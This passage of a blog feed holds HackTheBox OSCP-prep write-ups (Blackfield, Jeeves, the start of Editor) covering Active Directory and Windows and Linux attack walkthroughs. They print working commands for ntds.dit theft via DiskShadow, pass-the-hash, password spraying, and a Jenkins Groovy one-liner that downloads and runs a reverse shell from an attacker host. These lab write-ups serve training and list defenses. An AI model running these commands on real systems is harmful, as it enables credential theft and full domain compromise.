<li><p>Copy the file from there</p>
</li>
</ul>
<p>Now it’s no longer locked.</p>
<hr />
<h3>Why SeBackupPrivilege Makes This Work</h3>
<p>Normally, even with a shadow copy:</p>
<ul>
<li>You’d still be blocked by permissions</li>
</ul>
<p>But <strong>SeBackupPrivilege overrides file permissions</strong></p>
<p>It basically says:</p>
<blockquote>
<p>“I don’t care who owns this file—I can read it anyway”</p>
</blockquote>
<p>That’s the key.</p>
<p>Without this privilege → attack fails<br />With it → full access to sensitive files</p>
<h2>The Attack Flow</h2>
<h3>Step 1 — Create a DiskShadow Script</h3>
<p>You don’t run DiskShadow manually—you feed it a script.</p>
<p>Example:</p>
<pre><code class="language-plaintext">set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
add volume C: alias shadowcopy
create
expose %shadowcopy% E:
</code></pre>
<hr />
<h3>What Each Line Means (This is the important part)</h3>
<ul>
<li><p><code>set context persistent nowriters</code>  </p>
<p>→ Creates a stable snapshot without involving writers (avoids interference)  </p>
</li>
<li><p><code>add volume C:</code>  </p>
<p>→ Targeting the main system drive  </p>
</li>
<li><p><code>create</code>  </p>
<p>→ Actually generates the shadow copy  </p>
</li>
<li><p><code>expose %shadowcopy% E:</code>  </p>
<p>→ Mounts the snapshot as a new drive (<code>E:</code>)</p>
</li>
</ul>
<h3>Step 2 — Run DiskShadow</h3>
<pre><code class="language-plaintext">diskshadow /s script.txt
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/28c364e0-0c08-4fc5-984b-a2a4bc3571ee.png" alt="" style="display:block;margin:0 auto" />

<p>After this runs:</p>
<p>👉 You now have a new drive (E:)  </p>
<p>👉 That drive is a snapshot of the system</p>
<hr />
<h3>Step 3 — Copy the Files (Critical Step)</h3>
<p>Now you copy from the snapshot, NOT the live system.</p>
<pre><code class="language-plaintext">robocopy /b E:\Windows\NTDS C:\ProgramData\ ntds.dit
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/957c68c2-1d74-42f5-af7f-447e321c0d5a.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><code>/b</code> = backup mode (uses SeBackupPrivilege)</li>
</ul>
<p>Then:</p>
<pre><code class="language-plaintext">reg save HKLM\SYSTEM C:\ProgramData\SYSTEM
</code></pre>
<hr />
<h2>Why These Two Files Matter Together</h2>
<p>You need both:</p>
<ol>
<li><p>NTDS.dit Contains encrypted domain credentials</p>
</li>
<li><p>SYSTEM hive Contains the boot key used to decrypt NTDS.dit</p>
</li>
</ol>
<p><strong>Simple Way to Think About It</strong></p>
<ul>
<li><p>NTDS.dit = locked safe</p>
</li>
<li><p>SYSTEM = key to open the safe</p>
</li>
</ul>
<p>You need both or you get nothing.</p>
<hr />
<h2>Step 4 — Exfiltrate + Dump</h2>
<p>Once you move both files to Kali:</p>
<pre><code class="language-plaintext">impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c92ad6d0-dca7-40cd-8432-0404b1c9b344.png" alt="" style="display:block;margin:0 auto" />

<p>Now you get:</p>
<ul>
<li><p>  All domain users  </p>
</li>
<li><p>  NTLM hashes  </p>
</li>
<li><p>  Including Administrator</p>
</li>
</ul>
<h3>Final Step — Domain Takeover</h3>
<p>You don’t even need passwords anymore.</p>
<p>Just pass the hash with psexec or wmiexec.</p>
<pre><code class="language-plaintext">impacket-wmiexec administrator@&lt;ip&gt; -hashes &lt;hash&gt;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6472ebfb-64d6-436e-b25a-b41fd01bd6af.png" alt="" style="display:block;margin:0 auto" />

<h1>5. Lessons Learned</h1>
<p><strong>1. RID Brute is a fallback you should always remember</strong><br />When normal enumeration fails, this still works more often than not.</p>
<p><strong>2. AS-REP roasting is mandatory to check</strong><br />It’s low effort, high reward. No reason to skip it.</p>
<p><strong>3. LSASS dumps are extremely valuable</strong><br />This was a big one for me—understanding how to extract creds from memory opens a lot of doors.</p>
<p><strong>4. BloodHound isn’t optional in AD</strong><br />You’re not guessing paths—you’re identifying them.</p>
<p><strong>5. SeBackupPrivilege is dangerous</strong><br />This alone can lead to full domain compromise. If you see it, you should already be thinking NTDS.</p>
<h1>6. Defensive Insight</h1>
<p><strong>1. Disable accounts without pre-authentication</strong><br />AS-REP roasting should not be possible in a secure environment.</p>
<p><strong>2. Remove unnecessary ACLs (like ForceChangePassword)</strong><br />This is how attackers pivot laterally without exploits.</p>
<p><strong>3. Lock down sensitive shares</strong><br />There is no reason an LSASS dump should be accessible over SMB.</p>
<p><strong>4. Monitor privileged accounts</strong><br />Accounts with SeBackupPrivilege should be heavily restricted and audited.</p>
<p><strong>5. Restrict anonymous access</strong><br />Even limited SMB access can expose the entire domain structure.</p>
<h1>7. Useful Commands</h1>
<h3>Nmap Scan</h3>
<pre><code class="language-plaintext">nmap -sC -sV 10.129.229.17
</code></pre>
<h3>Enumerate SMB Shares Anonymously</h3>
<pre><code class="language-plaintext">nxc smb 10.129.229.17 -u guest -p '' --shares
</code></pre>
<h3>Enumerate Users with RID Brute</h3>
<pre><code class="language-plaintext">nxc smb 10.129.229.17 -u guest -p '' --rid-brute
</code></pre>
<h3>Validate Usernames with Kerbrute</h3>
<pre><code class="language-plaintext">kerbrute userenum --dc 10.129.229.17 -d blackfield.local users.txt
</code></pre>
<h3>AS-REP Roast Valid Users</h3>
<pre><code class="language-plaintext">impacket-GetNPUsers blackfield.local/ -dc-ip 10.129.229.17 -usersfile users.txt -no-pass
</code></pre>
<h3>Crack the AS-REP Hash with John</h3>
<pre><code class="language-plaintext">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<h3>NXC - Check SMB Access</h3>
<pre><code class="language-plaintext">nxc smb 10.129.229.17 -u support -p '&lt;password&gt;' --shares
</code></pre>
<h3>NXC - Spray the Discovered Password Against Other Users</h3>
<pre><code class="language-plaintext">nxc smb 10.129.229.17 -u users.txt -p '&lt;password&gt;' --continue-on-success
</code></pre>
<h3>impacket - Attempt Kerberoasting</h3>
<pre><code class="language-plaintext">impacket-GetUserSPNs blackfield.local/support:'&lt;password&gt;' -dc-ip 10.129.229.17 -request
</code></pre>
<h3>Collect BloodHound Data with RustHound</h3>
<pre><code class="language-plaintext">rusthound-ce -d blackfield.local -u support -p '&lt;password&gt;' -c All -o blackfield.zip
</code></pre>
<h3>BloodyAD Change Password</h3>
<pre><code class="language-plaintext">bloodyAD -d blackfield.local -u support -p '&lt;password&gt;' set password audit2020 '&lt;NEW_PASSWORD&gt;'
</code></pre>
<h3>NXC - Spider Shares</h3>
<pre><code class="language-plaintext">nxc smb 10.129.229.17 -u audit2020 -p '&lt;NEW_PASSWORD&gt;' -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC\(,print\),C\(,ADMIN\)'
</code></pre>
<h3>pypykatz- Extract Credentials from the LSASS Dump</h3>
<pre><code class="language-plaintext">pypykatz lsa minidump lsass.DMP
</code></pre>
<h3>Execute DiskShadow</h3>
<pre><code class="language-plaintext">diskshadow /s C:\Windows\Temp\diskshadow.txt
</code></pre>
<h3>Copy <code>ntds.dit</code> from the Shadow Copy</h3>
<pre><code class="language-plaintext">robocopy /b z:\Windows\NTDS C:\Windows\Temp ntds.dit
</code></pre>
<h3>Save the SYSTEM Hive</h3>
<pre><code class="language-plaintext">reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
</code></pre>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #14
HTB Write-Up Jeeves]]></title><description><![CDATA[1. Target Overview
Machine Name: JeevesPlatform: HackTheBoxOperating System: WindowsTarget IP: 10.129.11.223
Objective: Obtain initial access to the target system, escalate privileges to Administrator]]></description><link>https://www.hack2harden.com/oscp-prep-14-htb-write-up-jeeves</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-14-htb-write-up-jeeves</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Sat, 21 Mar 2026 11:57:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8ebb37d2-0b0e-4592-ade9-49204c39e314.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Jeeves<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.11.223</p>
<p><strong>Objective:</strong> Obtain initial access to the target system, escalate privileges to Administrator.</p>
<p>Jeeves was an instructive Windows box that tied together several practical ideas in a clean way. My biggest takeaway from this machine was learning how dangerous Groovy-based code execution can be when Jenkins is exposed.</p>
<h3>Tools Used</h3>
<ul>
<li><p>RustScan</p>
</li>
<li><p>Nmap</p>
</li>
<li><p>NetExec (<code>nxc</code>)</p>
</li>
<li><p>FFUF</p>
</li>
<li><p>Jenkins Script Console</p>
</li>
<li><p>Groovy</p>
</li>
<li><p>PowerShell</p>
</li>
<li><p>Netcat</p>
</li>
<li><p>KeePassXC</p>
</li>
<li><p>keepass2john</p>
</li>
<li><p>John the Ripper</p>
</li>
<li><p>Impacket (<code>psexec</code>)</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<h3><strong>Port Scanning</strong></h3>
<p>As usual, I started with a scan to identify the exposed services and get a feel for the attack surface before choosing where to focus.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9edfab1e-3962-4707-b60a-b13e90194848.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d5116acf-f5f6-4e63-ab70-936a23219a16.png" alt="" style="display:block;margin:0 auto" />

<p>The scan showed four open ports:</p>
<ul>
<li><p><strong>80/tcp</strong> – HTTP (Microsoft IIS 10.0)</p>
</li>
<li><p><strong>135/tcp</strong> – MSRPC</p>
</li>
<li><p><strong>445/tcp</strong> – SMB</p>
</li>
<li><p><strong>50000/tcp</strong> – HTTP (Jetty 9.4.z-SNAPSHOT)</p>
</li>
</ul>
<p>Right away, a few things stood out. The presence of RPC and SMB told me I was dealing with a normal Windows host, so I already had my usual Windows enumeration process in mind. From past experience, I know Jetty is commonly associated with Java-based applications, so I was already thinking ahead that this might lead to technologies like Jenkins, Groovy, or something similar.</p>
<hr />
<h3><strong>SMB Enumeration</strong></h3>
<p>The first service I chose to inspect was SMB.</p>
<p>Since port 445 was exposed, I started by checking whether I could get anything useful through anonymous access. This is always worth testing early because sometimes you get lucky with readable shares, loose permissions, or quick information disclosure before ever touching the web application.</p>
<p>In this case, anonymous access was denied:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8bdc03ee-7f66-4833-b932-ac29292d0166.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><code>STATUS_ACCESS_DENIED</code></li>
</ul>
<p>Share enumeration also failed, so there was no immediate foothold through SMB and nothing useful to pull from it at that stage.</p>
<hr />
<h3><strong>Web Enumeration</strong></h3>
<h3><strong>Port 80 (IIS)</strong></h3>
<p>After SMB went nowhere, I moved on to the web application running on port 80. I like pairing manual inspection with directory fuzzing, so I opened the site in my browser while running ffuf in the background.</p>
<p>The page looked like some kind of Ask Jeeves-style search engine, which immediately made it worth interacting with because any search bar or input field is something I want to test directly. The first thing I did was type a simple test value into the search bar and submit it.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/53f94da1-1a9f-4fcc-926b-84172cff41fd.png" alt="" style="display:block;margin:0 auto" />

<p>Instead of actually processing the request, the application immediately redirected me to an error page:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e0f37bd8-57c1-484d-a1a9-aa314cf22473.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><code>error.html</code></li>
</ul>
<p>That behavior told me something important very quickly. It did not look like the server was actually taking my search term, handling it dynamically, and returning a real result. It looked more like the search feature was either broken, fake, or just redirecting all interaction to a static page.</p>
<p>I looked more closely at the URL and the way the page behaved. Since it appeared to be referencing a file on the server, I decided it was worth trying a few <strong>LFI-style payloads</strong> to see if I could abuse the file reference in some way. That turned out to be a dead end because user input seemed to be sanitized properly.</p>
<p>Meanwhile, ffuf did not return anything useful beyond what I had already seen. There were no additional endpoints, no hidden functionality, nothing useful in the page source, and no real behavior that suggested the application had meaningful server-side processing behind it.</p>
<p>At that point, I concluded that port 80 was effectively a dead end.</p>
<hr />
<h3><strong>Additional Web Enumeration</strong></h3>
<h3><strong>Port 50000 (Jetty)</strong></h3>
<p>With SMB giving me nothing and port 80 looking like a decoy or broken feature, I shifted my attention to the service on port <strong>50000</strong>.</p>
<p>When I browsed to the port directly, I was met with a very plain <strong>404 Not Found</strong> page from Jetty.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a4f8cd66-171f-4975-bd4d-458ecc47a51c.png" alt="" style="display:block;margin:0 auto" />

<p>There was nothing directly useful in the content itself, but that kind of response is often a good sign because it tells me the service is alive and reachable—I just do not yet know the correct path.</p>
<p>So I ran ffuf against port 50000 as well.</p>
<p>This time, the fuzzing paid off. I discovered:</p>
<ul>
<li><code>/askjeeves</code></li>
</ul>
<p>When I navigated to that endpoint, I found a <strong>Jenkins</strong> instance. The version was disclosed at the bottom of the page, which immediately made the service far more interesting.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e68b52a7-0b74-41ea-88cf-391acbb82dcb.png" alt="" style="display:block;margin:0 auto" />

<p>I already knew Jenkins often exposes administrative functionality that can become extremely dangerous if access controls are weak or the version is old enough to be abused.</p>
<hr />
<h3><strong>Potential Vulnerability Identification</strong></h3>
<p>I knew from past experience, older or improperly exposed Jenkins instances are often vulnerable to <strong>remote code execution through running Groovy code in the script console</strong>. Since Jetty had already tipped me off that I was likely dealing with a Java-based stack, the Jenkins discovery fit perfectly with that earlier assumption.</p>
<p>At that point, my thinking was simple:</p>
<ul>
<li><p>If the <strong>Script Console</strong> is accessible</p>
</li>
<li><p>And Groovy execution is allowed</p>
</li>
<li><p>Then I likely have direct code execution on the server</p>
</li>
</ul>
<p>That was strong enough to move from enumeration into exploitation.</p>
<hr />
<h1>3. Exploitation</h1>
<h3><strong>Initial Access</strong></h3>
<p>After identifying Jenkins, I navigated to the <strong>Script Console</strong> and tested whether I could run commands through Groovy.</p>
<p>To keep it simple, I started with a basic <code>whoami</code> command:</p>
<pre><code class="language-groovy">println "whoami".execute().text
</code></pre>
<p>The result confirmed that code execution worked and that commands were running as:</p>
<ul>
<li><strong>kohsuke</strong></li>
</ul>
<p>That was the confirmation I needed. At that point, I had real <strong>remote code execution</strong>, not just a theory.</p>
<p>This was also the point where the main theme of the box became clear to me. More than anything else, Jeeves taught me how powerful Groovy RCE can be when Jenkins is exposed and unpatched. Once you have that level of access, initial compromise becomes very straightforward.</p>
<hr />
<h3><strong>Shell Stabilization</strong></h3>
<p>After confirming command execution, the next step was to convert that into a real shell.</p>
<p>My plan was to host a PowerShell reverse shell on my attacker machine and then use Groovy to execute a PowerShell command that would download and run it. The logic was simple enough, but the trickiest part was getting the quoting right. When you have Groovy calling PowerShell and PowerShell calling out over HTTP, nested quotation marks become the annoying part of the job.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1498f4b1-6dd3-4df5-ae6a-19acd2841cc3.png" alt="" style="display:block;margin:0 auto" />

<p>I hosted my PowerShell reverse shell script on my local web server, started a Netcat listener, and then worked through the escaping until the payload executed correctly.</p>
<p>Once I got the command formatted properly, I received a shell back as:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/120afd09-d59e-4640-855e-1556d9e97aed.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><strong>kohsuke</strong></li>
</ul>
<p>That gave me the foothold I needed to start local enumeration.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3><strong>Current User Context</strong></h3>
<p>The first thing I always want to confirm after getting a shell is exactly who I am and what kind of environment I landed in.</p>
<pre><code class="language-powershell">whoami
</code></pre>
<ul>
<li>kohsuke</li>
</ul>
<hr />
<h3><strong>User Enumeration</strong></h3>
<p>Next, I enumerated the users on the box to understand whether I might need to pivot between accounts or whether this would likely be a straight vertical escalation path.</p>
<pre><code class="language-powershell">net user
</code></pre>
<p>There were only two users of note:</p>
<ul>
<li><p><strong>kohsuke</strong></p>
</li>
<li><p><strong>Administrator</strong></p>
</li>
</ul>
<p>That simplified things a lot. With only one obvious lower-privileged user and one administrative account, this did not look like a machine where I would need to chain multiple account compromises together.</p>
<hr />
<h3><strong>Autologon Credential Check</strong></h3>
<p>One of the quick Windows checks I like to do early is the autologon registry check, since it sometimes gives you credentials for free if the machine is configured carelessly.</p>
<pre><code class="language-powershell">Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
</code></pre>
<p>There were no useful autologon credentials present.</p>
<hr />
<h3><strong>Home Directory Review</strong></h3>
<p>At that point, I shifted to one of the most reliable habits in Windows privilege escalation: thoroughly reviewing the current user’s home directory and looking for anything that does not belong, anything credential-related, or anything that might indicate how the user manages secrets.</p>
<pre><code class="language-powershell">tree /F /A
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bb51c892-3bf6-4dd1-9628-c5938ff2b9b2.png" alt="" style="display:block;margin:0 auto" />

<p>What immediately stood out was:</p>
<ul>
<li><strong>CEH.kdbx</strong></li>
</ul>
<p>That was a huge find.</p>
<p>A <code>.kdbx</code> file is a <strong>KeePass database</strong>, which means it potentially contains stored credentials, notes, hashes, or other sensitive data. When I see one of those during privesc, it immediately moves to the top of the list because it often leads directly to password reuse or administrative secrets.</p>
<hr />
<h3><strong>File Transfer via SMB</strong></h3>
<p>Now that I had identified the KeePass database, I needed to get it onto my attacker machine so I could work on it locally with the right tools.</p>
<pre><code class="language-powershell">copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.123\zion
</code></pre>
<p>Even though SMB had been useless earlier for enumeration, it was perfect here as a <strong>file transfer mechanism</strong>.</p>
<hr />
<h3><strong>Credential Extraction</strong></h3>
<p>On my attacker machine:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d1e23f4e-603d-4f56-a57f-f79489b8dbe6.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">keepass2john CEH.kdbx &gt; hash.txt
john hash.txt
</code></pre>
<p>Recovered password:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e8d8a5ee-0911-429d-85b5-d55cb2aa6df1.png" alt="" style="display:block;margin:0 auto" />

<p>After opening the database, I found stored entries including an <strong>NTLM hash</strong>, which pointed directly to a clean escalation path.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5c4b87a2-4b02-4c57-bcfc-5858335d7e8a.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3><strong>Privilege Escalation Path</strong></h3>
<p>Instead of cracking further, I used a <strong>Pass-the-Hash</strong> attack.</p>
<pre><code class="language-bash">impacket-psexec administrator@10.129.11.223 -hashes :e0fb1fb85756c24235ff238cbe81fe00
</code></pre>
<hr />
<p>The command returned a shell as:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e6367b3b-8330-44f3-a8db-e92fa402024a.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-cmd">nt authority\system
</code></pre>
<p>Full compromise achieved.</p>
<hr />
<h1>5. Lessons Learned</h1>
<h3><strong>1. Recognizing a Technology Stack Early Saves Time</strong></h3>
<p>Seeing Jetty on port 50000 immediately narrowed my focus toward Java-based applications like Jenkins, which sped up the entire process.</p>
<h3><strong>2. Dead Ends Need to Be Identified Quickly</strong></h3>
<p>Port 80 looked promising at first, but once I confirmed it was just redirecting to a static error page, there was no reason to keep forcing it.</p>
<h3><strong>3. Jenkins Script Console is Extremely Dangerous</strong></h3>
<p>Groovy RCE through Jenkins is essentially direct command execution. If it's exposed, the box is already compromised.</p>
<h3><strong>4. User Files Can Be the Entire PrivEsc Path</strong></h3>
<p>The KeePass database was the key to privilege escalation. Careful file enumeration made the difference.</p>
<h3><strong>5. SMB is a Practical Tool, Not Just an Attack Vector</strong></h3>
<p>Even though SMB did not help initially, it became critical for file exfiltration later.</p>
<hr />
<h1>6. Defensive Insight</h1>
<h3><strong>1. Jenkins Should Never Be Exposed Publicly</strong></h3>
<p>The Script Console alone is enough to fully compromise a system if accessible.</p>
<h3><strong>2. Keep Systems Patched</strong></h3>
<p>Outdated Jenkins versions introduce unnecessary risk.</p>
<h3><strong>3. Protect Credential Stores</strong></h3>
<p>Sensitive files like KeePass databases should not be left in user directories.</p>
<h3><strong>4. Limit NTLM Usage</strong></h3>
<p>Pass-the-Hash attacks remain effective because NTLM is still widely enabled.</p>
<h3><strong>5. Monitor File Transfer Channels</strong></h3>
<p>Even non-exploitable services like SMB can be abused for data exfiltration.</p>
<hr />
<h1>7. Useful Commands</h1>
<h3><strong>Reconnaissance</strong></h3>
<pre><code class="language-bash">rustscan -a 10.129.11.223 -b 7000
nmap -sC -sV -p- 10.129.11.223
</code></pre>
<h3><strong>Enumeration</strong></h3>
<pre><code class="language-bash">nxc smb 10.129.11.223 -u '' -p '' --shares
ffuf -u http://10.129.11.223/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://10.129.11.223:50000/FUZZ -w /usr/share/wordlists/dirb/common.txt
</code></pre>
<h3><strong>Groovy powershell Reverse Shell</strong></h3>
<pre><code class="language-groovy">println 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.123/shell.ps1\')"'.execute().text
</code></pre>
<h3><strong>Privilege Escalation</strong></h3>
<pre><code class="language-powershell">whoami
net user
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
tree /F /A
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.123\zion
</code></pre>
<pre><code class="language-bash">keepass2john CEH.kdbx &gt; hash.txt
john --show hash.txt
impacket-psexec administrator@10.129.11.223 -hashes :e0fb1fb85756c24235ff238cbe81fe00
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #13
HTB Write-Up Editor]]></title><description><![CDATA[1. Target Overview

Machine Name: Editor

Platform: HackTheBox

Operating System: Linux

Target IP: 10.129.231.23

Objective: Gain user and root access


Editor ended up being one of the more instruct]]></description><link>https://www.hack2harden.com/oscp-prep-13-htb-write-up-editor</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-13-htb-write-up-editor</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Fri, 20 Mar 2026 15:47:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/40ec3b4a-10a9-4fda-bf17-b196132a475f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1><strong>1. Target Overview</strong></h1>
<ul>
<li><p><strong>Machine Name:</strong> Editor</p>
</li>
<li><p><strong>Platform:</strong> HackTheBox</p>
</li>
<li><p><strong>Operating System:</strong> Linux</p>
</li>
<li><p><strong>Target IP:</strong> 10.129.231.23</p>
</li>
<li><p><strong>Objective:</strong> Gain user and root access</p>
</li>
</ul>
<p>Editor ended up being one of the more instructive Linux machines I have done so far because it did not depend on one lucky guess or one overly specific trick. Instead, it rewarded steady enumeration and good decision-making.</p>
<p><strong>Tools Used</strong></p>
<ul>
<li><p><strong>Nmap</strong> - Initial service enumeration</p>
</li>
<li><p><strong>ffuf</strong> - Virtual host and directory discovery</p>
</li>
<li><p><strong>Burp Suite</strong> - Request inspection and payload manipulation</p>
</li>
<li><p><strong>Searchsploit</strong> - Local vulnerability research</p>
</li>
<li><p><strong>Metasploit</strong> - Initial exploit testing</p>
</li>
<li><p><strong>Browser Developer Tools / Manual Browsing</strong> - Application inspection</p>
</li>
<li><p><strong>SSH</strong> - User access and local port forwarding</p>
</li>
<li><p><strong>curl</strong> - Payload staging</p>
</li>
<li><p><strong>Netcat</strong> - Reverse shell handling</p>
</li>
<li><p><strong>GCC</strong> - Compiling the C payload for privilege escalation</p>
</li>
</ul>
<hr />
<h1><strong>2. Enumeration</strong></h1>
<p>As usual, I started with an Nmap scan to identify what was exposed and begin forming an idea of where the likely entry point would be.</p>
<pre><code class="language-bash">nmap -sC -sV -oN nmap.txt 10.129.231.23
</code></pre>
<p>The scan showed three open ports:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a84de9d2-32ba-4c0e-92d4-dac67afc9d63.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p><strong>22/tcp</strong> - SSH - OpenSSH 8.9p1</p>
</li>
<li><p><strong>80/tcp</strong> - HTTP - Nginx 1.18.0</p>
</li>
<li><p><strong>8080/tcp</strong> - HTTP - Jetty 10.0.20</p>
</li>
</ul>
<p>That is a pretty small attack surface. When I see only SSH and a couple of web services, my first assumption is usually that the initial foothold will come through the web application rather than SSH. SSH is still important, but unless I already have credentials, it is usually more of a post-exploitation service than the true entry point.</p>
<p>The fact that there were <strong>two</strong> web services also mattered. Port 80 and port 8080 were not just duplicates of each other. They were backed by different web servers, which immediately suggested they might be serving different content or different components of the same application stack. That gave me a clear direction: inspect both carefully and determine how they relate to each other.</p>
<hr />
<h3><strong>Initial Web Recon on Port 80</strong></h3>
<p>When I browsed to port 80, one of the first things I noticed was that the server redirected me to:</p>
<pre><code class="language-text">editor.htb
</code></pre>
<p>That told me right away that name-based routing was likely involved, so I added the hostname to my <code>/etc/hosts</code> file.</p>
<p>That redirect was important for two reasons. First, it confirmed that I should be working with the hostname rather than only the IP. Second, anytime I see one custom hostname on an HTB target, I start thinking about <strong>additional virtual hosts</strong>. If the application already depends on one named host, there is a decent chance there are others.</p>
<pre><code class="language-bash">ffuf -u http://10.129.231.23 -H "Host: FUZZ.editor.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 4
</code></pre>
<p>That returned:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3d401776-8144-4e5c-a1ac-32836c8e6e51.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-text">wiki.editor.htb
</code></pre>
<p>I added that to my hosts file as well:</p>
<p>That was a meaningful result because it immediately expanded the target from “one simple site” to “a main site plus a wiki or documentation component.” A separate wiki subdomain often means a separate application stack, and separate application stacks often mean separate vulnerabilities.</p>
<hr />
<h3><strong>Inspecting the Main Site</strong></h3>
<p>Before fully pivoting, I still spent some time looking at the main application at <code>editor.htb</code> to see whether there was anything obvious.</p>
<p>The site looked like a marketing or landing page for a code editing product.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/151d8db2-6556-4465-89bb-8852e2c6fe3b.png" alt="" style="display:block;margin:0 auto" />

<p>It did not expose much in the way of user interaction. There were no login forms, no search boxes, no file upload features, and no obvious places where I could start testing user-controlled input. When I am assessing a web application, I am always trying to identify where data is being accepted and processed. Static pages are still worth checking, but if there is no meaningful functionality, the odds of wins are lower.</p>
<p>I still ran directory brute forcing to make sure I was not missing anything hidden behind the visible homepage.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1946e62b-0ff5-46d0-9533-0903e6037ac4.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">ffuf -u http://editor.htb/FUZZ -w /usr/share/wordlists/dirbuster/elite.txt
</code></pre>
<p>The results were not particularly interesting. At that point, I made the practical decision not to over-invest in the main site. The more promising attack surface was clearly the subdomain.</p>
<hr />
<h3><strong>Inspecting the Wiki Subdomain</strong></h3>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ecf4ca71-e56d-45ae-90cb-e15252a2c0f0.png" alt="" style="display:block;margin:0 auto" />

<p>When I navigated to <code>wiki.editor.htb</code>, I found what looked like documentation for the product. The site had the appearance of a CMS-backed wiki rather than a custom-built application, and that immediately changed how I thought about enumeration.</p>
<p>With a CMS, I immediately care about three things:</p>
<ol>
<li><p><strong>What CMS is this?</strong></p>
</li>
<li><p><strong>What version is it running?</strong></p>
</li>
<li><p><strong>Are there known vulnerabilities for that version?</strong></p>
</li>
</ol>
<p>In the footer, I found the answer:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/97554c75-1e4a-4bcf-b394-f909208fe8c5.png" alt="" style="display:block;margin:0 auto" />

<p>That was the first genuinely high-value piece of information on the box.</p>
<p>Whenever I see an application disclose an exact version number, that is a gift. It does not guarantee a vulnerability, but it gives you something concrete to investigate instead of just guessing. At that point, the wiki became a likely entry point.</p>
<hr />
<h1><strong>3. Exploitation</strong></h1>
<h3><strong>Researching XWiki 15.10.8</strong></h3>
<p>Once I knew the target was running XWiki 15.10.8, I shifted from generic web enumeration to version-based vulnerability research.</p>
<p>I started locally with Searchsploit:</p>
<pre><code class="language-bash">searchsploit xwiki
</code></pre>
<p>I saw references to XWiki issues, and I also experimented with Metasploit against a later-version-related exploit, but it did not pan out.</p>
<p>After that, I did a web search and found a CVE describing an <strong>unauthenticated remote code execution</strong> issue affecting this version range.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4fdbbf2a-0f8c-4b71-99e0-32bc7ad1efef.png" alt="" style="display:block;margin:0 auto" />

